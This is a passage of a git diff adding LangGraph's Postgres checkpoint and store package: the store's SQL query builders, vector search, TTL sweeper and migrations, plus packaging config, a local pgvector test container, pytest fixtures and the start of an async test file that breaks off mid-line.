search_results_sql = f""" + WITH scored AS ( + {vector_search_cte} + ) + SELECT uniq.prefix, uniq.key, uniq.value, uniq.created_at, uniq.updated_at, + {post_operator} AS score + FROM ( + SELECT DISTINCT ON (scored.prefix, scored.key) + scored.prefix, scored.key, scored.value, scored.created_at, scored.updated_at, scored.neg_score + FROM scored + ORDER BY scored.prefix, scored.key, scored.neg_score ASC + ) uniq + ORDER BY score DESC + LIMIT %s + OFFSET %s + """ + + search_results_params = [ + PLACEHOLDER, + *ns_param, + *filter_params, + PLACEHOLDER, + expanded_limit, + op.limit, + op.offset, + ] + + else: + base_query = f""" + SELECT store.prefix, store.key, store.value, store.created_at, store.updated_at, NULL AS score + FROM store + WHERE {ns_condition} {extra_filters} + ORDER BY store.updated_at DESC + LIMIT %s + OFFSET %s + """ + search_results_sql = base_query + search_results_params = [ + *ns_param, + *filter_params, + op.limit, + op.offset, + ] + + if op.refresh_ttl: + # Wrap entire primary query in a CTE, then perform "update_at" + final_sql = f""" + WITH search_results AS ( + {search_results_sql} + ), + updated AS ( + UPDATE store s + SET expires_at = NOW() + (s.ttl_minutes || ' minutes')::interval + FROM search_results sr + WHERE s.prefix = sr.prefix + AND s.key = sr.key + AND s.ttl_minutes IS NOT NULL + ) + SELECT sr.prefix, sr.key, sr.value, sr.created_at, sr.updated_at, sr.score + FROM search_results sr + """ + final_params = search_results_params[:] # copy + else: + final_sql = search_results_sql + final_params = search_results_params + queries.append((final_sql, final_params)) + + return queries, embedding_requests + + def _get_batch_list_namespaces_queries( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + ) -> list[tuple[str, Sequence]]: + queries: list[tuple[str, Sequence]] = [] + for _, op in list_ops: + query = r""" + SELECT DISTINCT ON (truncated_prefix) truncated_prefix, prefix + FROM ( + SELECT + prefix, + CASE + WHEN %s::integer IS NOT NULL THEN + (SELECT STRING_AGG(part, '.' ORDER BY idx) + FROM ( + SELECT part, ROW_NUMBER() OVER () AS idx + FROM UNNEST(REGEXP_SPLIT_TO_ARRAY(prefix, '\.')) AS part + LIMIT %s::integer + ) subquery + ) + ELSE prefix + END AS truncated_prefix + FROM store + """ + params: list[Any] = [op.max_depth, op.max_depth] + + conditions = [] + if op.match_conditions: + for condition in op.match_conditions: + if condition.match_type == "prefix": + conditions.append("prefix LIKE %s") + params.append( + f"{_namespace_to_text(condition.path, handle_wildcards=True)}%" + ) + elif condition.match_type == "suffix": + conditions.append("prefix LIKE %s") + params.append( + f"%{_namespace_to_text(condition.path, handle_wildcards=True)}" + ) + else: + logger.warning( + f"Unknown match_type in list_namespaces: {condition.match_type}" + ) + + if conditions: + query += " WHERE " + " AND ".join(conditions) + query += ") AS subquery " + + query += " ORDER BY truncated_prefix LIMIT %s OFFSET %s" + params.extend([op.limit, op.offset]) + queries.append((query, tuple(params))) + + return queries + + def _get_filter_condition(self, key: str, op: str, value: Any) -> tuple[str, list]: + """Helper to generate filter conditions.""" + if op == "$eq": + return "value->%s = %s::jsonb", [key, json.dumps(value)] + elif op == "$gt": + return "value->>%s > %s", [key, str(value)] + elif op == "$gte": + return "value->>%s >= %s", [key, str(value)] + elif op == "$lt": + return "value->>%s < %s", [key, str(value)] + elif op == "$lte": + return "value->>%s <= %s", [key, str(value)] + elif op == "$ne": + return "value->%s != %s::jsonb", [key, json.dumps(value)] + else: + raise ValueError(f"Unsupported operator: {op}") + + +class PostgresStore(BaseStore, BasePostgresStore[_pg_internal.Conn]): + """Postgres-backed store with optional vector search using pgvector. + + !!! example "Examples" + Basic setup and usage: + ```python + from langgraph.store.postgres import PostgresStore + from psycopg import Connection + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + # Using direct connection + with Connection.connect(conn_string) as conn: + store = PostgresStore(conn) + store.setup() # Run migrations. Done once + + # Store and retrieve data + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + ``` + + Or using the convenient `from_conn_string` helper: + + ```python + from langgraph.store.postgres import PostgresStore + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + with PostgresStore.from_conn_string(conn_string) as store: + store.setup() + + # Store and retrieve data + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + ``` + + Vector search using LangChain embeddings: + ```python + from langchain.embeddings import init_embeddings + from langgraph.store.postgres import PostgresStore + + conn_string = "postgresql://user:pass@localhost:5432/dbname" + + with PostgresStore.from_conn_string( + conn_string, + index={ + "dims": 1536, + "embed": init_embeddings("openai:text-embedding-3-small"), + "fields": ["text"] # specify which fields to embed. Default is the whole serialized value + } + ) as store: + store.setup() # Do this once to run migrations + + # Store documents + store.put(("docs",), "doc1", {"text": "Python tutorial"}) + store.put(("docs",), "doc2", {"text": "TypeScript guide"}) + store.put(("docs",), "doc2", {"text": "Other guide"}, index=False) # don't index + + # Search by similarity + results = store.search(("docs",), query="programming guides", limit=2) + ``` + + Note: + Semantic search is disabled by default. You can enable it by providing an `index` configuration + when creating the store. Without this configuration, all `index` arguments passed to + `put` or `aput`will have no effect. + + Warning: + Make sure to call `setup()` before first use to create necessary tables and indexes. + The pgvector extension must be available to use vector search. + + Note: + If you provide a TTL configuration, you must explicitly call `start_ttl_sweeper()` to begin + the background thread that removes expired items. Call `stop_ttl_sweeper()` to properly + clean up resources when you're done with the store. + + """ + + __slots__ = ( + "_deserializer", + "pipe", + "lock", + "supports_pipeline", + "index_config", + "embeddings", + "_ttl_sweeper_thread", + "_ttl_stop_event", + ) + supports_ttl: bool = True + + def __init__( + self, + conn: _pg_internal.Conn, + *, + pipe: Pipeline | None = None, + deserializer: Callable[[bytes | orjson.Fragment], dict[str, Any]] | None = None, + index: PostgresIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> None: + super().__init__() + self._deserializer = deserializer + self.conn = conn + self.pipe = pipe + self.supports_pipeline = Capabilities().has_pipeline() + self.lock = threading.Lock() + self.index_config = index + if self.index_config: + self.embeddings, self.index_config = _ensure_index_config(self.index_config) + else: + self.embeddings = None + self.ttl_config = ttl + self._ttl_sweeper_thread: threading.Thread | None = None + self._ttl_stop_event = threading.Event() + + @classmethod + @contextmanager + def from_conn_string( + cls, + conn_string: str, + *, + pipeline: bool = False, + pool_config: PoolConfig | None = None, + index: PostgresIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> Iterator[PostgresStore]: + """Create a new PostgresStore instance from a connection string. + + Args: + conn_string: The Postgres connection info string. + pipeline: whether to use Pipeline + pool_config: Configuration for the connection pool. + If provided, will create a connection pool and use it instead of a single connection. + This overrides the `pipeline` argument. + index: The index configuration for the store. + ttl: The TTL configuration for the store. + + Returns: + PostgresStore: A new PostgresStore instance. + """ + if pool_config is not None: + pc = pool_config.copy() + with cast( + ConnectionPool[Connection[DictRow]], + ConnectionPool( + conn_string, + min_size=pc.pop("min_size", 1), + max_size=pc.pop("max_size", None), + kwargs={ + "autocommit": True, + "prepare_threshold": 0, + "row_factory": dict_row, + **(pc.pop("kwargs", None) or {}), + }, + **cast(dict, pc), + ), + ) as pool: + yield cls(conn=pool, index=index, ttl=ttl) + else: + with Connection.connect( + conn_string, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + if pipeline: + with conn.pipeline() as pipe: + yield cls(conn, pipe=pipe, index=index, ttl=ttl) + else: + yield cls(conn, index=index, ttl=ttl) + + def sweep_ttl(self) -> int: + """Delete expired store items based on TTL. + + Returns: + int: The number of deleted items. + """ + with self._cursor() as cur: + cur.execute( + """ + DELETE FROM store + WHERE expires_at IS NOT NULL AND expires_at < NOW() + """ + ) + deleted_count = cur.rowcount + return deleted_count + + def start_ttl_sweeper( + self, sweep_interval_minutes: int | None = None + ) -> concurrent.futures.Future[None]: + """Periodically delete expired store items based on TTL. + + Returns: + Future that can be waited on or cancelled. + """ + if not self.ttl_config: + future: concurrent.futures.Future[None] = concurrent.futures.Future() + future.set_result(None) + return future + + if self._ttl_sweeper_thread and self._ttl_sweeper_thread.is_alive(): + logger.info("TTL sweeper thread is already running") + # Return a future that can be used to cancel the existing thread + future = concurrent.futures.Future() + future.add_done_callback( + lambda f: self._ttl_stop_event.set() if f.cancelled() else None + ) + return future + + self._ttl_stop_event.clear() + + interval = float( + sweep_interval_minutes or self.ttl_config.get("sweep_interval_minutes") or 5 + ) + logger.info(f"Starting store TTL sweeper with interval {interval} minutes") + + future = concurrent.futures.Future() + + def _sweep_loop() -> None: + try: + while not self._ttl_stop_event.is_set(): + if self._ttl_stop_event.wait(interval * 60): + break + + try: + expired_items = self.sweep_ttl() + if expired_items > 0: + logger.info(f"Store swept {expired_items} expired items") + except Exception as exc: + logger.exception( + "Store TTL sweep iteration failed", exc_info=exc + ) + future.set_result(None) + except Exception as exc: + future.set_exception(exc) + + thread = threading.Thread(target=_sweep_loop, daemon=True, name="ttl-sweeper") + self._ttl_sweeper_thread = thread + thread.start() + + future.add_done_callback( + lambda f: self._ttl_stop_event.set() if f.cancelled() else None + ) + return future + + def stop_ttl_sweeper(self, timeout: float | None = None) -> bool: + """Stop the TTL sweeper thread if it's running. + + Args: + timeout: Maximum time to wait for the thread to stop, in seconds. + If `None`, wait indefinitely. + + Returns: + bool: True if the thread was successfully stopped or wasn't running, + False if the timeout was reached before the thread stopped. + """ + if not self._ttl_sweeper_thread or not self._ttl_sweeper_thread.is_alive(): + return True + + logger.info("Stopping TTL sweeper thread") + self._ttl_stop_event.set() + + self._ttl_sweeper_thread.join(timeout) + success = not self._ttl_sweeper_thread.is_alive() + + if success: + self._ttl_sweeper_thread = None + logger.info("TTL sweeper thread stopped") + else: + logger.warning("Timed out waiting for TTL sweeper thread to stop") + + return success + + def __del__(self) -> None: + """Ensure the TTL sweeper thread is stopped when the object is garbage collected.""" + if hasattr(self, "_ttl_stop_event") and hasattr(self, "_ttl_sweeper_thread"): + self.stop_ttl_sweeper(timeout=0.1) + + @contextmanager + def _cursor(self, *, pipeline: bool = False) -> Iterator[Cursor[DictRow]]: + """Create a database cursor as a context manager. + + Args: + pipeline: whether to use pipeline for the DB operations inside the context manager. + Will be applied regardless of whether the PostgresStore instance was initialized with a pipeline. + If pipeline mode is not supported, will fall back to using transaction context manager. + """ + with _pg_internal.get_connection(self.conn) as conn: + if self.pipe: + # a connection in pipeline mode can be used concurrently + # in multiple threads/coroutines, but only one cursor can be + # used at a time + try: + with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + finally: + if pipeline: + self.pipe.sync() + elif pipeline: + # a connection not in pipeline mode can only be used by one + # thread/coroutine at a time, so we acquire a lock + if self.supports_pipeline: + with ( + self.lock, + conn.pipeline(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + with ( + self.lock, + conn.transaction(), + conn.cursor(binary=True, row_factory=dict_row) as cur, + ): + yield cur + else: + with conn.cursor(binary=True, row_factory=dict_row) as cur: + yield cur + + def batch(self, ops: Iterable[Op]) -> list[Result]: + grouped_ops, num_ops = _group_ops(ops) + results: list[Result] = [None] * num_ops + + with self._cursor(pipeline=True) as cur: + if GetOp in grouped_ops: + self._batch_get_ops( + cast(Sequence[tuple[int, GetOp]], grouped_ops[GetOp]), results, cur + ) + + if SearchOp in grouped_ops: + self._batch_search_ops( + cast(Sequence[tuple[int, SearchOp]], grouped_ops[SearchOp]), + results, + cur, + ) + + if ListNamespacesOp in grouped_ops: + self._batch_list_namespaces_ops( + cast( + Sequence[tuple[int, ListNamespacesOp]], + grouped_ops[ListNamespacesOp], + ), + results, + cur, + ) + if PutOp in grouped_ops: + self._batch_put_ops( + cast(Sequence[tuple[int, PutOp]], grouped_ops[PutOp]), cur + ) + + return results + + def _batch_get_ops( + self, + get_ops: Sequence[tuple[int, GetOp]], + results: list[Result], + cur: Cursor[DictRow], + ) -> None: + for query, params, namespace, items in self._get_batch_GET_ops_queries(get_ops): + cur.execute(query, params) + rows = cast(list[Row], cur.fetchall()) + key_to_row = {row["key"]: row for row in rows} + for idx, key in items: + row = key_to_row.get(key) + if row: + results[idx] = _row_to_item( + namespace, row, loader=self._deserializer + ) + else: + results[idx] = None + + def _batch_put_ops( + self, + put_ops: Sequence[tuple[int, PutOp]], + cur: Cursor[DictRow], + ) -> None: + queries, embedding_request = self._prepare_batch_PUT_queries(put_ops) + if embedding_request: + if self.embeddings is None: + # Should not get here since the embedding config is required + # to return an embedding_request above + raise ValueError( + "Embedding configuration is required for vector operations " + f"(for semantic search). " + f"Please provide an Embeddings when initializing the {self.__class__.__name__}." + ) + query, txt_params = embedding_request + # Update the params to replace the raw text with the vectors + vectors = self.embeddings.embed_documents( + [param[-1] for param in txt_params] + ) + queries.append( + ( + query, + [ + p + for (ns, k, pathname, _), vector in zip( + txt_params, vectors, strict=False + ) + for p in (ns, k, pathname, vector) + ], + ) + ) + + for query, params in queries: + cur.execute(query, params) + + def _batch_search_ops( + self, + search_ops: Sequence[tuple[int, SearchOp]], + results: list[Result], + cur: Cursor[DictRow], + ) -> None: + queries, embedding_requests = self._prepare_batch_search_queries(search_ops) + + if embedding_requests and self.embeddings: + embeddings = self.embeddings.embed_documents( + [query for _, query in embedding_requests] + ) + for (idx, _), embedding in zip( + embedding_requests, embeddings, strict=False + ): + _paramslist = queries[idx][1] + for i in range(len(_paramslist)): + if _paramslist[i] is PLACEHOLDER: + _paramslist[i] = embedding + + for (idx, _), (query, params) in zip(search_ops, queries, strict=False): + cur.execute(query, params) + rows = cast(list[Row], cur.fetchall()) + results[idx] = [ + _row_to_search_item( + _decode_ns_bytes(row["prefix"]), row, loader=self._deserializer + ) + for row in rows + ] + + def _batch_list_namespaces_ops( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + results: list[Result], + cur: Cursor[DictRow], + ) -> None: + for (query, params), (idx, _) in zip( + self._get_batch_list_namespaces_queries(list_ops), list_ops, strict=False + ): + cur.execute(query, params) + results[idx] = [_decode_ns_bytes(row["truncated_prefix"]) for row in cur] + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + return await asyncio.get_running_loop().run_in_executor(None, self.batch, ops) + + def setup(self) -> None: + """Set up the store database. + + This method creates the necessary tables in the Postgres database if they don't + already exist and runs database migrations. It MUST be called directly by the user + the first time the store is used. + """ + + def _get_version(cur: Cursor[dict[str, Any]], table: str) -> int: + cur.execute( + f""" + CREATE TABLE IF NOT EXISTS {table} ( + v INTEGER PRIMARY KEY + ) + """ + ) + cur.execute(f"SELECT v FROM {table} ORDER BY v DESC LIMIT 1") + row = cast(dict, cur.fetchone()) + if row is None: + version = -1 + else: + version = row["v"] + return version + + with self._cursor() as cur: + version = _get_version(cur, table="store_migrations") + for v, sql in enumerate(self.MIGRATIONS[version + 1 :], start=version + 1): + try: + cur.execute(sql) + cur.execute("INSERT INTO store_migrations (v) VALUES (%s)", (v,)) + except Exception as e: + logger.error( + f"Failed to apply migration {v}.\nSql={sql}\nError={e}" + ) + raise + + if self.index_config: + version = _get_version(cur, table="vector_migrations") + for v, migration in enumerate( + self.VECTOR_MIGRATIONS[version + 1 :], start=version + 1 + ): + if migration.condition and not migration.condition(self): + continue + sql = migration.sql + if migration.params: + params = { + k: v(self) if v is not None and callable(v) else v + for k, v in migration.params.items() + } + if "dims" in params: + try: + params["dims"] = int(params["dims"]) + except Exception as e: + raise ValueError( + f"Invalid dims for vector index: {params['dims']}" + ) from e + if "vector_type" in params: + vt = str(params["vector_type"]) + if vt not in ("vector", "halfvec"): + raise ValueError( + f"Invalid vector_type for pgvector: {vt}" + ) + params["vector_type"] = vt + if "index_type" in params: + it = str(params["index_type"]) + if it not in ("hnsw", "ivfflat"): + raise ValueError( + f"Invalid index_type for pgvector: {it}" + ) + params["index_type"] = it + sql = sql % params + cur.execute(sql) + cur.execute("INSERT INTO vector_migrations (v) VALUES (%s)", (v,)) + + +class Row(TypedDict): + key: str + value: Any + prefix: str + created_at: datetime + updated_at: datetime + + +# Private utilities + +_DEFAULT_ANN_CONFIG = ANNIndexConfig( + vector_type="vector", +) + + +def _get_vector_type_ops(store: BasePostgresStore) -> str: + """Get the vector type operator class based on config.""" + if not store.index_config: + return "vector_cosine_ops" + + config = store.index_config + index_config = config.get("ann_index_config", _DEFAULT_ANN_CONFIG).copy() + vector_type = cast(str, index_config.get("vector_type", "vector")) + if vector_type not in ("vector", "halfvec"): + raise ValueError( + f"Vector type must be 'vector' or 'halfvec', got {vector_type}" + ) + + distance_type = config.get("distance_type", "cosine") + + # For regular vectors + type_prefix = {"vector": "vector", "halfvec": "halfvec"}[vector_type] + + if distance_type not in ("l2", "inner_product", "cosine"): + raise ValueError( + f"Vector type {vector_type} only supports 'l2', 'inner_product', or 'cosine' distance, got {distance_type}" + ) + + distance_suffix = { + "l2": "l2_ops", + "inner_product": "ip_ops", + "cosine": "cosine_ops", + }[distance_type] + + return f"{type_prefix}_{distance_suffix}" + + +def _get_index_params(store: Any) -> tuple[str, dict[str, Any]]: + """Get a sanitized index type and configuration based on config. + + Only allow known-safe kinds and integer parameters to avoid SQL injection + when constructing DDL strings for index creation. + """ + if not store.index_config: + return "hnsw", {} + + config = cast(PostgresIndexConfig, store.index_config) + raw = config.get("ann_index_config", _DEFAULT_ANN_CONFIG).copy() + + kind = str(raw.pop("kind", "hnsw")) + if kind not in ("hnsw", "ivfflat", "flat"): + raise ValueError( + f"Invalid index kind for pgvector: {kind}. Expected 'hnsw', 'ivfflat', or 'flat'." + ) + + raw.pop("vector_type", None) + + if kind == "hnsw": + allowed_keys = {"m", "ef_construction"} + else: # ivfflat/flat + allowed_keys = {"lists", "nlist"} + + sanitized: dict[str, int] = {} + for k, v in list(raw.items()): + if k not in allowed_keys: + continue + key = "lists" if k == "nlist" else k + try: + ivalue = int(v) # type: ignore[call-overload] + except Exception as e: + raise ValueError(f"Invalid index parameter value for {k}: {v}") from e + if ivalue <= 0: + continue + sanitized[key] = ivalue + + return kind, sanitized + + +def _namespace_to_text( + namespace: tuple[str, ...], handle_wildcards: bool = False +) -> str: + """Convert namespace tuple to text string.""" + if handle_wildcards: + namespace = tuple("%" if val == "*" else val for val in namespace) + return ".".join(namespace) + + +def _row_to_item( + namespace: tuple[str, ...], + row: Row, + *, + loader: Callable[[bytes | orjson.Fragment], dict[str, Any]] | None = None, +) -> Item: + """Convert a row from the database into an Item. + + Args: + namespace: Item namespace + row: Database row + loader: Optional value loader for non-dict values + """ + val = row["value"] + if not isinstance(val, dict): + val = (loader or _json_loads)(val) + + kwargs = { + "key": row["key"], + "namespace": namespace, + "value": val, + "created_at": row["created_at"], + "updated_at": row["updated_at"], + } + + return Item(**kwargs) + + +def _row_to_search_item( + namespace: tuple[str, ...], + row: Row, + *, + loader: Callable[[bytes | orjson.Fragment], dict[str, Any]] | None = None, +) -> SearchItem: + """Convert a row from the database into an Item.""" + loader = loader or _json_loads + val = row["value"] + score = row.get("score") + if score is not None: + try: + score = float(score) # type: ignore[arg-type] + except ValueError: + logger.warning("Invalid score: %s", score) + score = None + return SearchItem( + value=val if isinstance(val, dict) else loader(val), + key=row["key"], + namespace=namespace, + created_at=row["created_at"], + updated_at=row["updated_at"], + score=score, + ) + + +def _group_ops(ops: Iterable[Op]) -> tuple[dict[type, list[tuple[int, Op]]], int]: + grouped_ops: dict[type, list[tuple[int, Op]]] = defaultdict(list) + tot = 0 + for idx, op in enumerate(ops): + grouped_ops[type(op)].append((idx, op)) + tot += 1 + return grouped_ops, tot + + +def _json_loads(content: bytes | orjson.Fragment) -> Any: + if isinstance(content, orjson.Fragment): + if hasattr(content, "buf"): + content = content.buf + else: + if isinstance(content.contents, bytes): + content = content.contents + else: + content = content.contents.encode() + return orjson.loads(cast(bytes, content)) + + +def _decode_ns_bytes(namespace: str | bytes | list) -> tuple[str, ...]: + if isinstance(namespace, list): + return tuple(namespace) + if isinstance(namespace, bytes): + namespace = namespace.decode()[1:] + return tuple(namespace.split(".")) + + +def get_distance_operator(store: Any) -> tuple[str, str]: + """Get the distance operator and score expression based on config.""" + # Note: Today, we are not using ANN indices due to restrictions + # on PGVector's support for mixing vector and non-vector filters + # To use the index, PGVector expects: + # - ORDER BY the operator NOT an expression (even negation blocks it) + # - ASCENDING order + # - Any WHERE clause should be over a partial index. + # If we violate any of these, it will use a sequential scan + # See https://github.com/pgvector/pgvector/issues/216 and the + # pgvector documentation for more details. + if not store.index_config: + raise ValueError( + "Embedding configuration is required for vector operations " + f"(for semantic search). " + f"Please provide an Embeddings when initializing the {store.__class__.__name__}." + ) + + config = cast(PostgresIndexConfig, store.index_config) + distance_type = config.get("distance_type", "cosine") + + # Return the operator and the score expression + # The operator is used in the CTE and will be compatible with an ASCENDING ORDER + # sort clause. + # The score expression is used in the final query and will be compatible with + # a DESCENDING ORDER sort clause and the user's expectations of what the similarity score + # should be. + if distance_type == "l2": + # Final: "-(sv.embedding <-> %s::%s)" + # We return the "l2 similarity" so that the sorting order is the same + return "sv.embedding <-> %s::%s", "-scored.neg_score" + elif distance_type == "inner_product": + # Final: "-(sv.embedding <#> %s::%s)" + return "sv.embedding <#> %s::%s", "-(scored.neg_score)" + else: # cosine similarity + # Final: "1 - (sv.embedding <=> %s::%s)" + return "sv.embedding <=> %s::%s", "1 - scored.neg_score" + + +def _ensure_index_config( + index_config: PostgresIndexConfig, +) -> tuple[Embeddings | None, PostgresIndexConfig]: + index_config = index_config.copy() + tokenized: list[tuple[str, Literal["$"] | list[str]]] = [] + tot = 0 + fields = index_config.get("fields") or ["$"] + if isinstance(fields, str): + fields = [fields] + if not isinstance(fields, list): + raise ValueError(f"Text fields must be a list or a string. Got {fields}") + for p in fields: + if p == "$": + tokenized.append((p, "$")) + tot += 1 + else: + toks = tokenize_path(p) + tokenized.append((p, toks)) + tot += len(toks) + index_config["__tokenized_fields"] = tokenized + index_config["__estimated_num_vectors"] = tot + embeddings = ensure_embeddings( + index_config.get("embed"), + ) + return embeddings, index_config + + +PLACEHOLDER = object() diff --git a/libs/checkpoint-postgres/langgraph/store/postgres/py.typed b/libs/checkpoint-postgres/langgraph/store/postgres/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint-postgres/pyproject.toml b/libs/checkpoint-postgres/pyproject.toml new file mode 100644 index 0000000..fcee493 --- /dev/null +++ b/libs/checkpoint-postgres/pyproject.toml @@ -0,0 +1,86 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-checkpoint-postgres" +version = "3.1.0" +description = "Library with a Postgres implementation of LangGraph checkpoint saver." +authors = [] +requires-python = ">=3.10" +readme = "README.md" +license = "MIT" +license-files = ['LICENSE'] +dependencies = [ + "langgraph-checkpoint>=4.1.0,<5.0.0", + "orjson>=3.11.5", + "psycopg>=3.2.0", + "psycopg-pool>=3.2.0", +] + +[project.urls] +Source = "https://github.com/langchain-ai/langgraph/tree/main/libs/checkpoint-postgres" +Twitter = "https://x.com/langchain_oss" +Slack = "https://www.langchain.com/join-community" +Reddit = "https://www.reddit.com/r/LangChain/" + +[dependency-groups] +test = [ + "pytest", + "anyio", + "pytest-asyncio", + "pytest-mock", + "psycopg[binary]", + "langgraph-checkpoint", + "pytest-watcher", +] +lint = [ + "ruff", + "codespell", + "ty", +] +dev = [ + {include-group = "test"}, + {include-group = "lint"}, +] + +[tool.uv] +default-groups = ['dev'] + +[tool.uv.sources] +langgraph-checkpoint = { path = "../checkpoint", editable = true } + +[tool.hatch.build.targets.wheel] +include = ["langgraph"] + +[tool.pytest.ini_options] +addopts = "--strict-markers --strict-config --durations=5 -vv" +asyncio_mode = "auto" + +[tool.ruff] +lint.select = [ + "E", # pycodestyle + "F", # Pyflakes + "UP", # pyupgrade + "B", # flake8-bugbear + "I", # isort + "UP", # pyupgrade +] +lint.ignore = ["E501", "B008"] +target-version = "py310" + +[tool.ty.rules] +invalid-argument-type = "ignore" +invalid-assignment = "ignore" +invalid-key = "ignore" +invalid-return-type = "ignore" +invalid-typed-dict-field = "ignore" +invalid-yield = "ignore" +no-matching-overload = "ignore" +unused-type-ignore-comment = "ignore" + +[tool.pytest-watcher] +now = true +delay = 0.1 +runner_args = ["--ff", "-x", "-v", "--tb", "short"] +patterns = ["*.py"] diff --git a/libs/checkpoint-postgres/tests/__init__.py b/libs/checkpoint-postgres/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint-postgres/tests/compose-postgres.yml b/libs/checkpoint-postgres/tests/compose-postgres.yml new file mode 100644 index 0000000..7217844 --- /dev/null +++ b/libs/checkpoint-postgres/tests/compose-postgres.yml @@ -0,0 +1,17 @@ +services: + postgres-test: + image: pgvector/pgvector:pg${POSTGRES_VERSION:-16} + ports: + - "5441:5432" + environment: + POSTGRES_DB: postgres + POSTGRES_USER: postgres + POSTGRES_PASSWORD: postgres + command: ["postgres", "-c", "shared_preload_libraries=vector"] + healthcheck: + test: pg_isready -U postgres + start_period: 10s + timeout: 1s + retries: 5 + interval: 60s + start_interval: 1s diff --git a/libs/checkpoint-postgres/tests/conftest.py b/libs/checkpoint-postgres/tests/conftest.py new file mode 100644 index 0000000..b44977e --- /dev/null +++ b/libs/checkpoint-postgres/tests/conftest.py @@ -0,0 +1,44 @@ +from collections.abc import AsyncIterator + +import pytest +from psycopg import AsyncConnection +from psycopg.errors import UndefinedTable +from psycopg.rows import DictRow, dict_row + +from tests.embed_test_utils import CharacterEmbeddings + +DEFAULT_POSTGRES_URI = "postgres://postgres:postgres@localhost:5441/" +DEFAULT_URI = "postgres://postgres:postgres@localhost:5441/postgres?sslmode=disable" + + +@pytest.fixture(scope="function") +async def conn() -> AsyncIterator[AsyncConnection[DictRow]]: + async with await AsyncConnection.connect( + DEFAULT_URI, autocommit=True, prepare_threshold=0, row_factory=dict_row + ) as conn: + yield conn + + +@pytest.fixture(scope="function", autouse=True) +async def clear_test_db(conn: AsyncConnection[DictRow]) -> None: + """Delete all tables before each test.""" + try: + await conn.execute("DELETE FROM checkpoints") + await conn.execute("DELETE FROM checkpoint_blobs") + await conn.execute("DELETE FROM checkpoint_writes") + await conn.execute("DELETE FROM checkpoint_migrations") + except UndefinedTable: + pass + try: + await conn.execute("DELETE FROM store_migrations") + await conn.execute("DELETE FROM store") + except UndefinedTable: + pass + + +@pytest.fixture +def fake_embeddings() -> CharacterEmbeddings: + return CharacterEmbeddings(dims=500) + + +VECTOR_TYPES = ["vector", "halfvec"] diff --git a/libs/checkpoint-postgres/tests/embed_test_utils.py b/libs/checkpoint-postgres/tests/embed_test_utils.py new file mode 100644 index 0000000..d28cd95 --- /dev/null +++ b/libs/checkpoint-postgres/tests/embed_test_utils.py @@ -0,0 +1,55 @@ +"""Embedding utilities for testing.""" + +import math +import random +from collections import Counter, defaultdict +from typing import Any + +from langchain_core.embeddings import Embeddings + + +class CharacterEmbeddings(Embeddings): + """Simple character-frequency based embeddings using random projections.""" + + def __init__(self, dims: int = 50, seed: int = 42): + """Initialize with embedding dimensions and random seed.""" + self._rng = random.Random(seed) + self.dims = dims + # Create projection vector for each character lazily + self._char_projections: defaultdict[str, list[float]] = defaultdict( + lambda: [ + self._rng.gauss(0, 1 / math.sqrt(self.dims)) for _ in range(self.dims) + ] + ) + + def _embed_one(self, text: str) -> list[float]: + """Embed a single text.""" + counts = Counter(text) + total = sum(counts.values()) + + if total == 0: + return [0.0] * self.dims + + embedding = [0.0] * self.dims + for char, count in counts.items(): + weight = count / total + char_proj = self._char_projections[char] + for i, proj in enumerate(char_proj): + embedding[i] += weight * proj + + norm = math.sqrt(sum(x * x for x in embedding)) + if norm > 0: + embedding = [x / norm for x in embedding] + + return embedding + + def embed_documents(self, texts: list[str]) -> list[list[float]]: + """Embed a list of documents.""" + return [self._embed_one(text) for text in texts] + + def embed_query(self, text: str) -> list[float]: + """Embed a query string.""" + return self._embed_one(text) + + def __eq__(self, other: Any) -> bool: + return isinstance(other, CharacterEmbeddings) and self.dims == other.dims diff --git a/libs/checkpoint-postgres/tests/test_async.py b/libs/checkpoint-postgres/tests/test_async.py new file mode 100644 index 0000000..fd42146 --- /dev/null +++ b/libs/checkpoint-postgres/tests/test_async.py @@ -0,0 +1,417 @@ +# type: ignore + +from contextlib import asynccontextmanager +from typing import Any +from uuid import uuid4 + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + EXCLUDED_METADATA_KEYS, + Checkpoint, + CheckpointMetadata, + create_checkpoint, + empty_checkpoint, +) +from langgraph.checkpoint.serde.types import TASKS +from psycopg import AsyncConnection +from psycopg.rows import dict_row +from psycopg_pool import AsyncConnectionPool + +from langgraph.checkpoint.postgres.aio import ( + AsyncPostgresSaver, + AsyncShallowPostgresSaver, +) +from tests.conftest import DEFAULT_POSTGRES_URI + + +def _exclude_keys(config: dict[str, Any]) -> dict[str, Any]: + return {k: v for k, v in config.items() if k not in EXCLUDED_METADATA_KEYS} + + +@asynccontextmanager +async def _pool_saver(): + """Fixture for pool mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + # yield checkpointer + async with AsyncConnectionPool( + DEFAULT_POSTGRES_URI + database, + max_size=10, + kwargs={"autocommit": True, "row_factory": dict_row}, + ) as pool: + checkpointer = AsyncPostgresSaver(pool) + await checkpointer.setup() + yield checkpointer + finally: + # drop unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"DROP DATABASE {database}") + + +@asynccontextmanager +async def _pipe_saver(): + """Fixture for pipeline mode testing.""" + database = f"test_{uuid4().hex[:16]}" + # create unique db + async with await AsyncConnection.connect( + DEFAULT_POSTGRES_URI, autocommit=True + ) as conn: + await conn.execute(f"CREATE DATABASE {database}") + try: + async with await 